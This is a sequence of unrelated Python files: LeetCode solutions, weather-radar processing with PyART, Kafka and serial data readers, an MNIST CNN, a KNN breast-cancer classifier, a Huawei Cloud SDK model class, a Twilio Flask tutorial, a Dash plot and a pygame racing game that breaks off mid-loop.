            exp_name = "nfvctrl/%s" %(sys.argv[2])
            run_test(exp_name, pkt_size_samples, pkt_rate_samples, flow_count_samples)
        elif sys.argv[1] == "est":
            num_groups = len(pkt_size_samples) * len(pkt_rate_samples) * len(flow_count_samples)
            est_time = num_groups * 30.0 / 3600
            print("Total exp groups: {}; Est time: {} hour(s)".format(num_groups, est_time))
        else:
            print("Unknown request: {}", sys.argv[1])


"""
Success
Details
Runtime: 44 ms, faster than 70.61% of Python3 online submissions for Interleaving String.
Memory Usage: 13.2 MB, less than 55.35% of Python3 online submissions for Interleaving String.
"""
class Solution:
    def isInterleave(self, s1: str, s2: str, s3: str) -> bool:
        # 难
        if len(s3) != len(s1) + len(s2):
            return False

        dp = [False] * (len(s2) + 1)
        for i in range(len(s1)+1):
            for j in range(len(s2)+1):
                if i == 0 and j == 0:
                    dp[j] = True
                elif i == 0:
                    dp[j] = dp[j-1] and s2[j-1] == s3[i+j-1]
                elif j == 0:
                    dp[j] = dp[j] and s1[i-1] == s3[i+j-1]
                else:
                    dp[j] = dp[j-1] and s2[j-1] == s3[i+j-1] or dp[j] and s1[i-1] == s3[i+j-1]

        return dp[len(s2)]

s = Solution()
s1 = "aabcc"
s2 = "dbbca"
s3 = "aadbbcbcac"
print(s.isInterleave(s1, s2, s3))

s1 = "aabcc"
s2 = "dbbca"
s3 = "aadbbbaccc"
print(s.isInterleave(s1, s2, s3))


# iteratively

# Reverse a singly linked list.

# click to show more hints.

# Hint:
# A linked list can be reversed either iteratively or recursively.
# Could you implement both?

import List

# Definition for singly-linked list.
# class ListNode(object):
#     def __init__(self, x):
#         self.val = x
#         self.next = None

class Solution(object):
	def reverseList(self, head):
		"""
		:type head: ListNode
		:rtype: ListNode
		"""

		if head == None:
			return None

		virHead = List.ListNode(0)
		virHead.next = head

		pt = head
		while pt.next != None:
			next = pt.next
			pt.next = pt.next.next
			next.next = virHead.next
			virHead.next = next

		return virHead.next

so = Solution()
array = []
head = List.create(array)
List.disp(so.reverseList(head))


import glob
import os
import sys
from datetime import datetime, timedelta

try:
    from netcdftime import utime
except ImportError:
    from cftime import utime
import numpy as np
import pyart

from pyart.aux_io.sinarame_h5 import read_sinarame_h5
from pyart.aux_io.rainbow_wrl import read_rainbow_wrl

from get_strat import get_strat

def armo_radar(lista_ref_todos, path_datos='/ms-36/mrugna/RMA/datos/'):
    """
    Parametros
    ----------
    lista_ref_todos : str
        Lista de archivos de reflectividad

    path_datos : str (opcional)
        Ruta donde estan los archivos

    Devuelve
    --------
    lista_radares : lista
        Lista con instancias de objeto Radar de PyART.

    """

    lista_radares = []

    for archivo_ref in lista_ref_todos:
        nombre_radar = archivo_ref.split('/')[5] # esto esta hardcodeado al path de ms-36

        if nombre_radar.startswith('RMA'):

            # try:
            hora = datetime.strptime(archivo_ref.split('_')[-1][:13], '%Y%m%dT%H%M')
            condicion = hora.strftime(f'{path_datos}{nombre_radar}/*/*/*/*/*/*_%Y%m%dT%H%M*Z.H5')
            files = glob.glob(condicion)
            # aca arriba hay que decidir que variables se agarran

            # Ordeno la lista para que siempre arranque con T
            files.sort(reverse=True)
            files.sort(key=lambda x: len(x.split('_')[-2]))

            # print('\tEl primer archivo es:', str(files[0]), end='\n\n')

            for j, file in enumerate(files):

                if j == 0:
                    try:
                        radar = read_sinarame_h5(file, file_field_names=True)
                        azi_todos, rango = radar.fields['TH']['data'].shape
                        # print('Creo objeto radar de', file, sep='\t')

                    # Si no puede crear radar
                    # Seria recomendable agarrar las excepciones de mejor manera
                    except ValueError:
                        print('x - No se pudo crear el objeto Radar de',
                              file, sep='\t')

                    # Puede venir mal convertido el archivo H5 desde el BUFR
                    except KeyError:
                        print('x - Se convirtio mal de BUFR', file, sep='\t')

                else:
                    try:
                        radar_prov = read_sinarame_h5(file, file_field_names=True)
                        # print('Creo objeto radar de', file, sep='\t')

                        campo = list(radar_prov.fields.keys())[0]

                        # Si el archivo tiene menos gates que TH hay que agregarlos
                        # esto es util en un volumen solo con staggered prf
                        if radar_prov.fields[campo]['data'].shape[1] != rango:
                            falta = (rango
                                     - radar_prov.fields[campo]['data'].shape[1])
                            resto = np.ma.masked_all((azi_todos, falta))
                            datos = np.ma.concatenate(
                                [radar_prov.fields[campo]['data'], resto], 1)
                            radar_prov.fields[campo]['data'] = datos

                        radar.fields.update(radar_prov.fields)

                    # Puede venir mal convertido el archivo H5 desde el BUFR
                    except KeyError:
                        print('x - Se convirtio mal de BUFR', file, sep='\t')

                    # Si no puede crear radar_prov
                    except ValueError:
                        print('x - No se puede crear el objeto radar_prov para',
                              file, sep='\t')

                    # Si no encuentra radar
                    except NameError:
                        print('No existia radar, lo creo')
                        radar = read_sinarame_h5(file, file_field_names=True)

            radar = get_strat(archivo_ref, radar)

            # except UnboundLocalError as e:
            #    print(e)
            #    continue

        elif (nombre_radar == 'PAR') or (nombre_radar == 'PER') or (nombre_radar == 'ANG'):

            # try:
            hora = datetime.strptime(archivo_ref.split('/')[-1][:12], '%Y%m%d%H%M')
            condicion = hora.strftime(f'{path_datos}{nombre_radar}/*/%Y%m%d%H%M*.vol') # /240/
            files = glob.glob(condicion)
            # files = [f in files if 'tmp' not in f]
            # aca arriba hay que decidir que variables se agarran

            # Ordeno la lista para que siempre arranque con T
            files.sort(reverse=True)

            # print('\tEl primer archivo es:', str(files[0]), end='\n\n')

            for j, file in enumerate(files):

                if j == 0:
                    try:
                        radar = read_rainbow_wrl(file, file_field_names=True)
                        azi_todos, rango = radar.fields['dBZ']['data'].shape

                        #radar.fields['ZH']=radar.fields.pop['dBZ']
                        # print('Creo objeto radar de', file, sep='\t')
                        #radar = get_strat(file, radar)

                    # Si no puede crear radar
                    # Seria recomendable agarrar las excepciones de mejor manera
                    except ValueError:
                        print('x - No se pudo crear el objeto Radar de',
                              file, sep='\t')

                    # Puede venir mal convertido el archivo H5 desde el BUFR
                    except KeyError:
                        print('x - Se convirtio mal de BUFR', file, sep='\t')

                else:
                    try:
                        radar_prov = read_rainbow_wrl(file, file_field_names=True)
                        # print('Creo objeto radar de', file, sep='\t')

                        campo = list(radar_prov.fields.keys())[0]

                        #if 'V' in radar_prov :
                        #   radar_prov.fields['VRAD']=radar_prov.fields.pop['V']
                        #if 'W' in radar_prov :
                        #   radar_prov.fields['WRAD']=radar_prov.fields.pop['W']

                        #radar_prov = get_strat(file , radar_prov)

                        ##Check if we can merge this variable with the reflectivity.
                        #if np.shape( radar.azimuth['data'] )[0] == np.shape( radar_prov.azimuth['data'] )[0] )   :
                        #   if np.sum( radar.azimuth['data'] - radar_prov.azimuth['data'] ) == 0  :
                        #      radar.fields.update(radar_prov.fields)
                        #else
                        #      lista_radares.append(radar)

                    # Puede venir mal convertido el archivo H5 desde el BUFR
                    except KeyError:
                        print('x - Se convirtio mal de BUFR', file, sep='\t')

                    # Si no puede crear radar_prov
                    except ValueError:
                        print('x - No se puede crear el objeto radar_prov para',
                              file, sep='\t')

                    # Si no encuentra radar
                    except NameError:
                        print('No existia radar, lo creo')
                        radar = read_rainbow_wrl(file, file_field_names=True)

            radar = get_strat(archivo_ref, radar)

            # except UnboundLocalError as e:
            #    print(e)
            #    continue

        """
        Acá se normalizan los nombres de las variables
        """

        # Reflectividad RMA
        try:
            radar.fields['ZH'] = radar.fields.pop('TH')
        except:
            pass

        # Viento RMA
        # try:
        #    radar.fields['VRAD'] = radar.fields.pop('VRAD')
        # except:
        #     pass

        # RHO RMA
        # try:
        #    radar.fields['VRAD'] = radar.fields.pop('VRAD')
        # except:
        #     pass

        # Reflectividad Gematronik
        try:
            radar.fields['ZH'] = radar.fields.pop('dBZ')
        except:
            pass

        # Viento Gematronik
        try:
            radar.fields['VRAD'] = radar.fields.pop('V')
        except:
            pass

        # Ancho espectral Gematronik
        try:
            radar.fields['WRAD'] = radar.fields.pop('W')
        except:
            pass

        lista_radares.append(radar)

        return lista_radares


import threading

import serial
from serial.serialposix import Serial
from confluent_kafka import Consumer, KafkaError
from confluent_kafka.avro import AvroConsumer
from confluent_kafka.avro.serializer import SerializerError

from log import logger

LOGGER = logger(__name__)

class GeneralSource(threading.Thread):
    def __init__(self, threadID, stype, name, clf,
                 scq, sclock, skq, sklock, istr):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.stype = stype
        self.name = name
        self.scq = scq
        self.sclock = sclock
        self.skq = skq
        self.sklock = sklock
        self.istr = istr
        self.exitFlag = 0
        self.clf = clf

    def read_data(self):
        while not self.exitFlag:
            try:

                rawdata = dict()
                if self.clf:
                    if not self.scq.empty():
                        self.sclock.acquire()
                        (img, score) = self.scq.get()
                        rawdata['imgname'] = img
                        rawdata['score'] = score
                        self.sclock.release()
                    else:
                        continue

                if isinstance(self.istr, Serial):
                    try:
                        self.istr.reset_input_buffer()
                        self.istr.flushInput()
                        self.istr.flushOutput()
                    except AttributeError as ae:
                        pass
                    # if line:
                    # if findWholeWord('UNIQUEDID'):

                    line = self.istr.readline()
                    if (not line or len(line) <= 20):
                        continue

                    d = line.split()
                    data = d[0]

                if isinstance(self.istr, Consumer):
                    try:
                        msg = self.istr.poll(10)
                    except SerializerError as e:
                        LOGGER.error("Cannot deserialise message {}: {}"
                                     .format(msg, e))
                        break

                    if not msg:
                        continue
                    if msg.error():
                        if msg.error().code() == KafkaError._PARTITION_EOF:
                            continue
                        else:
                            LOGGER.debug(msg.error())
                            break

                    data = msg.value()
                    LOGGER.debug(data)

                # Merge classification result with data
                rawdata['raw'] = data
                LOGGER.debug("Adding to queue rawdata: {}".format(rawdata))
                self.sklock.acquire()
                self.skq.put(rawdata)
                self.sklock.release()
            except IOError as io:
                LOGGER.debug(io)

    def run(self):
        LOGGER.info("Starting %s %s" % (self.stype, self.name))
        self.read_data()
        LOGGER.info("Exiting %s %s" % (self.stype, self.name))

class SerialSource(GeneralSource):

    def __init__(self, threadID, name, clf, scq, sclock, skq, sklock, lconfig):
        istream = serial.Serial(
            '/dev/ttyUSB' + lconfig('USB_PORT'),
            baudrate=38400,
            timeout=2,
            bytesize=serial.EIGHTBITS,
            parity=serial.PARITY_NONE,
            stopbits=serial.STOPBITS_ONE,
            xonxoff=False
        )
        GeneralSource.__init__(self, threadID, 'Serial', name, clf,
                               scq, sclock, skq, sklock, istream)

class FileSource(GeneralSource):

    def __init__(self, threadID, name, clf, scq, sclock, skq, sklock, lconfig):
        istream = open(lconfig('FILE'), 'r')
        GeneralSource.__init__(self, threadID, 'File', name, clf,
                               scq, sclock, skq, sklock, istream)

class KafkaSource(GeneralSource):

    def __init__(self, threadID, name, clf, scq, sclock, skq, sklock, lconfig):
        if lconfig('SCHEMA'):
            c = AvroConsumer({
                'bootstrap.servers': lconfig('BROKER'),
                'group.id': lconfig('GROUP'),
                'schema.registry.url': lconfig('SCHEMA')
            })
            LOGGER.debug("Avro Consumer")
        else:
            c = Consumer({
                'bootstrap.servers': lconfig('BROKER'),
                'group.id': lconfig('GROUP'),
                'auto.offset.reset': 'earliest'
            })
        c.subscribe(lconfig('TOPIC').split(','))
        istream = c
        GeneralSource.__init__(self, threadID, 'Kafka', name, clf,
                               scq, sclock, skq, sklock, istream)


import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torchvision import datasets, transforms
import torch.utils.data.dataloader as dataloader

class Net(nn.Module):
    def __init__(self):
        super(Net, self).__init__()
        self.conv1 = nn.Sequential(
            nn.Conv2d(1, 6, 5, 1, 2),
            nn.ReLU(),
            nn.MaxPool2d(kernel_size=2, stride=2)
        )
        self.conv2 = nn.Sequential(
            nn.Conv2d(6, 16, 5),
            nn.ReLU(),
            nn.MaxPool2d(2, 2)
        )
        self.fc1 = nn.Sequential(
            nn.Linear(16 * 5 * 5, 120),
            nn.ReLU()
        )
        self.fc2 = nn.Sequential(
            nn.Linear(120, 84),
            nn.ReLU()
        )
        self.fc3 = nn.Linear(84, 10)

    def forward(self, x):
        x = self.conv1(x)
        x = self.conv2(x)
        x = x.view(-1, self.num_flat_features(x))
        # x = x.view(x.size()[0], -1)
        x = self.fc1(x)
        x = self.fc2(x)
        x = self.fc3(x)
        return x

    def num_flat_features(self, x):
        size = x.size()[1:]
        num_features = 1
        for s in size:
            num_features *= s
        return num_features

BATCH_SIZE = 64
EPOCH = 15
log_interval = 500
device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')
trans = transforms.Compose([
    transforms.ToTensor(),
    transforms.Normalize((0.1307,), (0.3081,))
])
data_train = datasets.MNIST(root='data', transform=trans, train=True, download=True)
data_test = datasets.MNIST(root='data', transform=trans, train=False, download=True)
train_loader = dataloader.DataLoader(data_train, batch_size=BATCH_SIZE, shuffle=True, num_workers=4)
test_loader = dataloader.DataLoader(data_test, batch_size=BATCH_SIZE, shuffle=True, num_workers=4)
model = Net().to(device)
optimizer = optim.SGD(model.parameters(), lr=0.01)

def train(epoch):
    model.train()  # 设置为train模式
    for batch_idx, (data, target) in enumerate(train_loader):
        data, target = data.to(device), target.to(device)
        optimizer.zero_grad()  # 优化器梯度初始化为零
        output = model(data)  # 把数据输入网络并得到输出，即进行前向传播
        loss = F.cross_entropy(output, target)   # 交叉熵损失函数
        loss.backward()  # 反向传播梯度
        optimizer.step()  # 结束一次前传+反传之后，更新参数
        if batch_idx % log_interval == 0:  # 准备打印相关信息
            print('Train Epoch: {} [{}/{} ({:.0f}%)]\tLoss: {:.6f}'.format(
                epoch, batch_idx * len(data), len(train_loader.dataset),
                100. * batch_idx / len(train_loader), loss.item()))

def test():
    model.eval()  # 设置为test模式
    test_loss = 0  # 初始化测试损失值为0
    correct = 0  # 初始化预测正确的数据个数为0
    for data, target in test_loader:
        data, target = data.to(device), target.to(device)
        output = model(data)
        test_loss += F.cross_entropy(output, target, reduction='sum')  # sum up batch loss 把所有loss值进行累加
        pred = output.data.max(1, keepdim=True)[1]  # get the index of the max log-probability
        correct += pred.eq(target.data.view_as(pred)).cpu().sum()  # 对预测正确的数据个数进行累加

    test_loss /= len(test_loader.dataset)  # 因为把所有loss值进行过累加，所以最后要除以总得数据长度才得平均loss
    print('\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\n'.format(
        test_loss, correct, len(test_loader.dataset),
        100. * correct / len(test_loader.dataset)))

if __name__ == '__main__':
    for e in range(1, EPOCH + 1):
        train(e)
        test()
    torch.save(model, 'model.pth')


import numpy as np
import pandas as pd
from sklearn.neighbors import KNeighborsClassifier
from sklearn.metrics import accuracy_score, classification_report
from sklearn.preprocessing import StandardScaler
from sklearn.model_selection import train_test_split
import matplotlib.pyplot as plt

if __name__ == "__main__":
    breast_cancer = pd.read_csv("Breast_Cancer_Wisconsin.csv")
    #print (breast_cancer.head())
    '''
    for col in breast_cancer.columns:
        print(col)
    '''
    breast_cancer['bare_nucleoli'] = breast_cancer['bare_nucleoli'].replace(
        '?', np.NAN)
    # print(breast_cancer['bare_nucleoli'])
    breast_cancer['bare_nucleoli'] = breast_cancer['bare_nucleoli'].fillna(
        breast_cancer['bare_nucleoli'].value_counts().index[0])
    # print(breast_cancer['bare_nucleoli'])

    breast_cancer['Cancer_Ind'] = 0
    # print(breast_cancer['Cancer_Ind'])
    breast_cancer.loc[breast_cancer['class'] == 4, 'Cancer_Ind'] = 1
    # print(breast_cancer.loc[breast_cancer['class']==4,'Cancer_Ind'])

    x_vars = breast_cancer.drop(['id', 'class', 'Cancer_Ind'], axis=1)
    # print(x_vars)
    y_var = breast_cancer['Cancer_Ind']
    # print(y_var)

    x_vars_stdscle = StandardScaler().fit_transform(x_vars.values)
    # print(x_vars_stdscle)

    x_vars_stdscle_df = pd.DataFrame(
        x_vars_stdscle, index=x_vars.index, columns=x_vars.columns)
    # print(x_vars_stdscle_df)
    x_train, x_test, y_train, y_test = train_test_split(
        x_vars_stdscle_df, y_var, train_size=0.7, random_state=42)

    knn_fit = KNeighborsClassifier(n_neighbors=3, p=2, metric='minkowski')
    knn_fit.fit(x_train, y_train)

    print("\nK-Nearest Neighbors - Train Confusion Matrix\n\n", pd.crosstab(y_train,
                                                                            knn_fit.predict(x_train), rownames=["Actuall"], colnames=["Predicted"]))
    print("\nK-Nearest Neighbors - Train accuracy:",
          round(accuracy_score(y_train, knn_fit.predict(x_train)), 3))
    print("\nK-Nearest Neighbors - Train Classification Report\n",
          classification_report(y_train, knn_fit.predict(x_train)))

    print("\n\nK-Nearest Neighbors - Test Confusion Matrix\n\n", pd.crosstab(y_test,
                                                                             knn_fit.predict(x_test), rownames=["Actuall"], colnames=["Predicted"]))
    print("\nK-Nearest Neighbors - Test accuracy:",
          round(accuracy_score(y_test, knn_fit.predict(x_test)), 3))
    print("\nK-Nearest Neighbors - Test Classification Report\n",
          classification_report(y_test, knn_fit.predict(x_test)))

    # Tuning of K- value for Train & Test data
    dummyarray = np.empty((5, 3))
    # print(dummyarray)
    k_valchart = pd.DataFrame(dummyarray)
    # print(k_valchart)
    k_valchart.columns = ["K_value", "Train_acc", "Test_acc"]
    # print(k_valchart.columns)
    k_vals = [1, 2, 3, 4, 5]
    for i in range(len(k_vals)):
        knn_fit = KNeighborsClassifier(
            n_neighbors=k_vals[i], p=2, metric='minkowski')
        knn_fit.fit(x_train, y_train)

        print("\nK-value", k_vals[i])

        tr_accscore = round(accuracy_score(
            y_train, knn_fit.predict(x_train)), 3)
        print("\nK-Nearest Neighbors - Train Confusion Matrix\n\n", pd.crosstab(y_train,
                                                                                knn_fit.predict(x_train), rownames=["Actuall"], colnames=["Predicted"]))
        print("\nK-Nearest Neighbors - Train accuracy:", tr_accscore)
        print("\nK-Nearest Neighbors - Train Classification Report\n",
              classification_report(y_train, knn_fit.predict(x_train)))

        ts_accscore = round(accuracy_score(y_test, knn_fit.predict(x_test)), 3)
        print("\n\nK-Nearest Neighbors - Test Confusion Matrix\n\n", pd.crosstab(y_test,
                                                                                knn_fit.predict(x_test), rownames=["Actuall"], colnames=["Predicted"]))
        print("\nK-Nearest Neighbors - Test accuracy:", ts_accscore)
        print("\nK-Nearest Neighbors - Test Classification Report\n",
              classification_report(y_test, knn_fit.predict(x_test)))

        k_valchart.loc[i, 'K_value'] = k_vals[i]
        k_valchart.loc[i, 'Train_acc'] = tr_accscore
        k_valchart.loc[i, 'Test_acc'] = ts_accscore

    plt.figure()
    #plt.title('KNN Train & Test Accuracy change with K-value')

    plt.xlabel('K-value')
    plt.ylabel('Accuracy')
    plt.plot(k_valchart["K_value"], k_valchart["Train_acc"])
    plt.plot(k_valchart["K_value"], k_valchart["Test_acc"])

    plt.axis([0.9, 5, 0.92, 1.005])
    plt.xticks([1, 2, 3, 4, 5])

    for a, b in zip(k_valchart["K_value"], k_valchart["Train_acc"]):
        plt.text(a, b, str(b), fontsize=10)

    for a, b in zip(k_valchart["K_value"], k_valchart["Test_acc"]):
        plt.text(a, b, str(b), fontsize=10)

    plt.legend(loc='upper right')

    plt.show()


# coding: utf-8

import six

from huaweicloudsdkcore.sdk_response import SdkResponse
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization

class ShowSqlLimitJobInfoResponse(SdkResponse):

    """
    Attributes:
      openapi_types (dict): The key is attribute name
                            and the value is attribute type.
      attribute_map (dict): The key is attribute name
                            and the value is json key in definition.
    """
    sensitive_list = []

    openapi_types = {
        'job_id': 'str',
        'job_status': 'str',
        'fail_reason': 'str'
    }

    attribute_map = {
        'job_id': 'job_id',
        'job_status': 'job_status',
        'fail_reason': 'fail_reason'
    }

    def __init__(self, job_id=None, job_status=None, fail_reason=None):
        """ShowSqlLimitJobInfoResponse

        The model defined in huaweicloud sdk

        :param job_id: 任务ID
        :type job_id: str
        :param job_status: 任务状态
        :type job_status: str
        :param fail_reason: 失败原因
        :type fail_reason: str
        """

        super(ShowSqlLimitJobInfoResponse, self).__init__()

        self._job_id = None
        self._job_status = None
        self._fail_reason = None
        self.discriminator = None

        if job_id is not None:
            self.job_id = job_id
        if job_status is not None:
            self.job_status = job_status
        if fail_reason is not None:
            self.fail_reason = fail_reason

    @property
    def job_id(self):
        """Gets the job_id of this ShowSqlLimitJobInfoResponse.

        任务ID

        :return: The job_id of this ShowSqlLimitJobInfoResponse.
        :rtype: str
        """
        return self._job_id

    @job_id.setter
    def job_id(self, job_id):
        """Sets the job_id of this ShowSqlLimitJobInfoResponse.

        任务ID

        :param job_id: The job_id of this ShowSqlLimitJobInfoResponse.
        :type job_id: str
        """
        self._job_id = job_id

    @property
    def job_status(self):
        """Gets the job_status of this ShowSqlLimitJobInfoResponse.

        任务状态

        :return: The job_status of this ShowSqlLimitJobInfoResponse.
        :rtype: str
        """
        return self._job_status

    @job_status.setter
    def job_status(self, job_status):
        """Sets the job_status of this ShowSqlLimitJobInfoResponse.

        任务状态

        :param job_status: The job_status of this ShowSqlLimitJobInfoResponse.
        :type job_status: str
        """
        self._job_status = job_status

    @property
    def fail_reason(self):
        """Gets the fail_reason of this ShowSqlLimitJobInfoResponse.

        失败原因

        :return: The fail_reason of this ShowSqlLimitJobInfoResponse.
        :rtype: str
        """
        return self._fail_reason

    @fail_reason.setter
    def fail_reason(self, fail_reason):
        """Sets the fail_reason of this ShowSqlLimitJobInfoResponse.

        失败原因

        :param fail_reason: The fail_reason of this ShowSqlLimitJobInfoResponse.
        :type fail_reason: str
        """
        self._fail_reason = fail_reason

    def to_dict(self):
        """Returns the model properties as a dict"""
        result = {}

        for attr, _ in six.iteritems(self.openapi_types):
            value = getattr(self, attr)
            if isinstance(value, list):
                result[attr] = list(map(
                    lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
                    value
                ))
            elif hasattr(value, "to_dict"):
                result[attr] = value.to_dict()
            elif isinstance(value, dict):
                result[attr] = dict(map(
                    lambda item: (item[0], item[1].to_dict())
                    if hasattr(item[1], "to_dict") else item,
                    value.items()
                ))
            else:
                if attr in self.sensitive_list:
                    result[attr] = "****"
                else:
                    result[attr] = value

        return result

    def to_str(self):
        """Returns the string representation of the model"""
        import simplejson as json
        if six.PY2:
            import sys
            reload(sys)
            sys.setdefaultencoding("utf-8")
        return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)

    def __repr__(self):
        """For `print`"""
        return self.to_str()

    def __eq__(self, other):
        """Returns true if both objects are equal"""
        if not isinstance(other, ShowSqlLimitJobInfoResponse):
            return False

        return self.__dict__ == other.__dict__

    def __ne__(self, other):
        """Returns true if both objects are not equal"""
        return not self == other


# https://github.com/twilio/twilio-python
# http://quest.twilio.com/
# (510) 788-2674
# https://twilio-python.readthedocs.org/en/latest/usage/twiml.html
# https://twilio-python.readthedocs.org/en/latest/api/twiml.html
# https://www.twilio.com/docs/quickstart/python/twiml/record-caller-leave-message
# http://flask.pocoo.org/docs/quickstart/
# https://github.com/twilio

import os

from flask import Flask
from flask import Response
from flask import request
from flask import render_template
from twilio import twiml
from twilio.rest import TwilioRestClient

# Pull in configuration from system environment variables
TWILIO_ACCOUNT_SID = os.environ.get('TWILIO_ACCOUNT_SID')
TWILIO_AUTH_TOKEN = os.environ.get('TWILIO_AUTH_TOKEN')
TWILIO_NUMBER = os.environ.get('TWILIO_NUMBER')

# create an authenticated client that can make requests to Twilio for your
# account.
client = TwilioRestClient(TWILIO_ACCOUNT_SID, TWILIO_AUTH_TOKEN)

# Create a Flask web app
app = Flask(__name__)

# Render the home page
@app.route('/')
def index():
    return render_template('index.html')

# Handle a POST request to send a text message. This is called via ajax
# on our web page
@app.route('/message', methods=['POST'])
def message():
    # Send a text message to the number provided
    message = client.sms.messages.create(to=request.form['to'],
                                         from_=TWILIO_NUMBER,
                                         body='Good luck on your Twilio quest!')

    # Return a message indicating the text message is enroute
    return 'Message on the way!'

# Handle a POST request to make an outbound call. This is called via ajax
# on our web page
@app.route('/call', methods=['POST'])
def call():
    # Make an outbound call to the provided number from your Twilio number
    call = client.calls.create(to=request.form['to'], from_=TWILIO_NUMBER,
                               url='http://twimlets.com/message?Message%5B0%5D=http://demo.kevinwhinnery.com/audio/zelda.mp3')

    # Return a message indicating the call is coming
    return 'Call inbound!'

# Generate TwiML instructions for an outbound call
@app.route('/hello')
def hello():
    response = twiml.Response()
    response.say('Hello there! You have successfully configured a web hook.')
    response.say('Good luck on your Twilio quest!', voice='woman')
    return Response(str(response), mimetype='text/xml')

# Chapter 1
# Generate TwiML instructions for an outbound call
@app.route('/incoming/sms', methods = ["POST"])
def text():
    response = twiml.Response()
    response.message('I just responded to a text message. Huzzah!.')
    return Response(str(response), mimetype='text/xml')

# Chapter 1
# @app.route('/incoming/call', methods = ["POST"])
# def calls():
#     response = twiml.Response()
#     response.say('I just responded to a phone call.', voice='woman')
#     return Response(str(response), mimetype='text/xml')

# Chapter 2
# @app.route('/incoming/call', methods = ["POST"])
# def ivr():
#     twiml = '<?xml version="1.0" encoding="UTF-8"?> \
# <Response> \
#     <Gather timeout="10" finishOnKey="*" action="/incoming/gather" method="POST"> \
#         <Say>Please enter one for help and two for nothing followed by star.</Say> \
#     </Gather> \
# </Response>'
#     return Response(twiml, mimetype="text/xml")

# @app.route('/incoming/gather', methods = ['POST'])
# def gather():
#     digits = request.form['Digits']

#     if (digits == '1'):
#         response = twiml.Response()
#         response.say('Congrats this is 1 for help option.', voice='woman')
#         return Response(str(response), mimetype='text/xml')
#     elif (digits == '2'):
#         response = twiml.Response()
#         response.say('Congrats this is 2 for Nothing option.', voice='woman')
#         return Response(str(response), mimetype='text/xml')
#     else:
#         response = twiml.Response()
#         response.say('Please select 1 OR 2', voice='woman')
#         response.redirect(url='/incoming/call')
#         return Response(str(response), mimetype='text/xml')

# Chapter 3
@app.route('/incoming/call', methods = ["POST"])
def ivr():
    twiml = '<?xml version="1.0" encoding="UTF-8"?> \
<Response> \
    <Gather timeout="10" finishOnKey="*" action="/incoming/gather" method="POST"> \
        <Say>Please enter one to listen to a message and two to record followed by star.</Say> \
    </Gather> \
</Response>'
    return Response(twiml, mimetype="text/xml")

@app.route('/incoming/gather', methods = ['POST'])
def gather():
    digits = request.form['Digits']

    if (digits == '1'):
# Play
        recording_url = request.values.get("RecordingUrl", None)
        resp = twiml.Response()
        resp.say("Thanks for howling... take a listen to what you howled.")
        resp.play(recording_url)
        resp.say("Goodbye.")
        return str(resp)

# Record
    elif digits == "2":
        resp = twiml.Response()
        resp.say("Record your monkey howl after the tone.")
        resp.record(maxLength="30", action="/handle-recording")
        return str(resp)
    else:
        response = twiml.Response()
        response.say('Please select 1 OR 2', voice='woman')
        response.redirect(url='/incoming/call')
        return Response(str(response), mimetype='text/xml')

if __name__ == '__main__':
    # Note that in production, you would want to disable debugging
    app.run(debug=True)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import dash
import dash_core_components as dcc
import dash_html_components as html
import plotly.graph_objs as go
import plotly.figure_factory as ff
import pandas as pd
import numpy as np

x_coord = np.arange(0,4*np.pi,4*np.pi/40)
sf_data = np.sin(x_coord)
ml_data = np.sin(x_coord+ 0.1)
ld_data = np.sin(2*x_coord + 0.4)

graph = dcc.Graph(
            id='example-graph',
            figure={
                'data': [
                    {'x': x_coord, 'y': sf_data, 'text' : sf_data, 'type': 'line', 'name': 'SF'},
                    {'x': x_coord, 'y': ml_data, 'type': 'line', 'name': u'Montréal'},
                    {'x': x_coord, 'y': ld_data, 'type': 'line', 'name': u'London'},

                ]
            }
        )

app = dash.Dash(__name__)

app.layout =    html.Div(style={'padding': 10},children=[

                    html.H1(children='Hello Dash'),
                    graph

                ])

if __name__ == '__main__':
    app.run_server(debug=True)


import pygame
import time
import random

pygame.init()

crash_sound = pygame.mixer.Sound("crash.wav")

display_height=600
display_width=800
crash_count=0

game_display = pygame.display.set_mode((display_width,display_height))
pygame.display.set_caption('race3')

black = ( 0,0,0)
white = (255,255,255)

red = (255,0,0)
green = (0,200,0)

bright_red = (255,0,0)
bright_green = (0,255,0)

block_color = (53,115,255)

carwidth=389

clock = pygame.time.Clock()
crashed = False

roadimg= pygame.image.load('road1.png')
carimg= pygame.image.load('bhai1.png')
manimg= pygame.image.load('dead1.png')

pause = False

def car(x,y):
    game_display.blit(carimg, (x,y))
def text_objects(text,font):
    textsurface = font.render(text, True, red)
    return textsurface, textsurface.get_rect()
def message_display(text):
    largetext = pygame.font.Font('freesansbold.ttf',70)
    TextSurf, TextRect = text_objects(text, largetext)
    TextRect.center = ((display_width/2),(display_height/2))
    game_display.blit(TextSurf, TextRect)

    pygame.display.update()

    time.sleep(2)

def crash():

    pygame.mixer.Sound.play(crash_sound)
    pygame.mixer.music.stop()

    largeText = pygame.font.SysFont("comicsansms",115)
    TextSurf, TextRect = text_objects("arey bhai bhai bhai", largeText)
    TextRect.center = ((display_width/2),(display_height/2))
    game_display.blit(TextSurf, TextRect)

    while True:
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                pygame.quit()
                quit()

        button("Play Again",150,450,100,50,green,bright_green,game_loop)
        button("Quit",550,450,100,50,red,bright_red,quitgame)

        pygame.display.update()
        clock.tick(15)
def game_loop():
    x =(display_width * .45)
    y =(display_height * .3)
    y_change = 0
    x_change = 0
    game_exit = False

    while not game_exit:

        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                game_exit = True

    ##        print(event)
            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_UP:
                    y_change = -5
                elif event.key == pygame.K_DOWN:
                    y_change = 5
            if event.type ==pygame.KEYUP:
                if event.key == pygame.K_UP :
                    y_change=0
                if event.key == pygame.K_DOWN:
                    y_change=0
            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_LEFT:
                    x_change = -5
                elif event.key == pygame.K_RIGHT:
                    x_change = 5
            if event.type ==pygame.KEYUP:
                if event.key == pygame.K_LEFT :
                    x_change=0
                if event.key == pygame.K_RIGHT:
                    x_change=0

        x += x_change
        y += y_change
        game_display.blit(roadimg, (00,00))
        game_display.blit(manimg, (0,-40))
        car(x,y)
